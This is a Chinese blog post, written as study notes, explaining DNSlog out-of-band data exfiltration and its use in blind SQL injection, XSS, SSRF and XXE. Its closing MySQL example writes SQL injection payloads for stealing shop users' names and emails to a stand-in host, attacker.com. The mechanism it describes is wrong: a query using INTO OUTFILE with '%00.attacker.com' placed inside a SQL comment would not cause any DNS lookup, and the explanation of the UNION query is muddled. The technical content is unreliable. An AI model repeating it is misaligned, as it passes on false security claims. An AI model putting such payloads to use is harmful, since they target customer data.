dnslog外带是什么

前言

在看hw面经的时候发现了dnslog外带的相关的知识点,有点迷惑,所以写下这篇文章记录,方便日后查阅。

正文

DNSlog是什么?

要回答这个我们需要先清楚,DNS:(Domain Name System)域名系统,负责把域名转换成IP地址。那么dnslog就是

DNS的日志,就是存储在DNS Server上的域名访问信息,它记录着用户对域名littlehann.com等的访问信息,类似日志文件。

DNSlog外带原理

DNS在解析的时候会留下日志,我们将信息放在高级域名中,传递到自己这里,然后通过读日志获取信息。也就是在一些网站通过dns请求后,通过读取日志来获取我们的请求信息。可能有点难以理解

我们换一种说法dnslog外带是指利用 DNS 查询来实现数据传输或者执行远程命令的技术。这种技术的基本原理是将数据嵌入到 DNS 查询中,然后将其发送到一个能够捕获 DNS 查询的服务器上,最后解析查询以获取嵌入的数据。

DNSlog 外带通常用于绕过网络安全防御,因为 DNS 查询通常允许通过防火墙,且大多数网络都允许 DNS 查询的出站流量。这使得攻击者可以利用 DNS 查询来传输数据或执行恶意操作,而不容易被检测到。

DNSlog注入

既然能够嵌入一些数据那么,就能想到注入,dns注入常被用在dnslog通常用在:

 1.SQL盲注
 2.无回显的XSS
 3.无回显的命令执行
 5.无回显的SSRF
 5.Blind XXE

mysql-DNSlog外带注入

当我们对一个数据库进行注入时,无回显,且无法进行时间注入,那么就可以利用一个通道,把查询到数据通过通道带出去,这里的通道包括:http请求、DNS解析、SMB服务等将数据带出。

首先首先说明,dns带外查询属于MySQL注入,在MySQL中有个系统属性 secure_file_priv特性,有三种状态 secure_file_priv为null 表示不允许导入导出 secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹 secure_file_priv没有设置时,则表示没有任何限制 可了解一下load_file和outfile

show variables like ‘%secure%’;查看load_file()可以读取的磁盘。

有路径或为null 的 则不可以进行 DNSlog 外带

利用 DNS 查询来执行数据传输的技术,通常用于在利用 MySQL 数据库中的注入漏洞时,将数据从受感染的数据库中提取出来,并将其发送到攻击者控制的 DNS 服务器上。

假设有一个在线商店的网站,该网站使用 MySQL 数据库存储用户的订单信息。该网站的搜索功能存在 SQL 注入漏洞,攻击者可以在搜索框中注入恶意的 SQL 代码,并执行恶意的查询。攻击者想要窃取所有订单的用户名和电子邮件地址。

攻击者可以构造以下恶意的 SQL 查询来实现这一目的:

 sql
 Copy code
 SELECT username, email FROM orders UNION SELECT NULL, concat(username, '||', email) FROM users--

这个查询将从订单表中选择用户名和电子邮件地址,并与来自用户表的空结果集进行联合。在联合的结果中,攻击者使用 concat() 函数将用户名和电子邮件地址连接成一个字符串,并在它们之间插入特殊分隔符(例如 ||)。攻击者通过这种方式将订单信息与用户信息合并到同一个结果集中。

现在,攻击者需要将这些数据发送到他们控制的 DNS 服务器上。为此,攻击者可以在恶意的 SQL 查询中嵌入 DNS 查询。假设攻击者控制的 DNS 服务器是 attacker.com,那么攻击者可以构造以下 DNS 查询来发送数据:

 sql
 Copy code
 SELECT username, email FROM orders UNION SELECT NULL, concat(username, '||', email) FROM users INTO OUTFILE '/var/www/html/payload.txt'; -- %00.attacker.com

在这个查询中,INTO OUTFILE 子句将查询结果写入到服务器上的一个文件中,例如 payload.txt。然后,攻击者在查询的末尾添加一个恶意的 DNS 后缀(在本例中是 %00.attacker.com),这样查询结果将被发送到 attacker.com 的 DNS 服务器上。

当数据库服务器执行这个查询时,它会将查询结果写入到 payload.txt 文件中,并尝试解析 DNS 查询 attacker.com。攻击者的 DNS 服务器将收到这个查询,并从查询中提取订单信息,从而完成数据的传输。

参考

本文在书写的时候借鉴了以下师傅的相关的文章

dnslog外带注入

DNSlog外带

  • 13
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值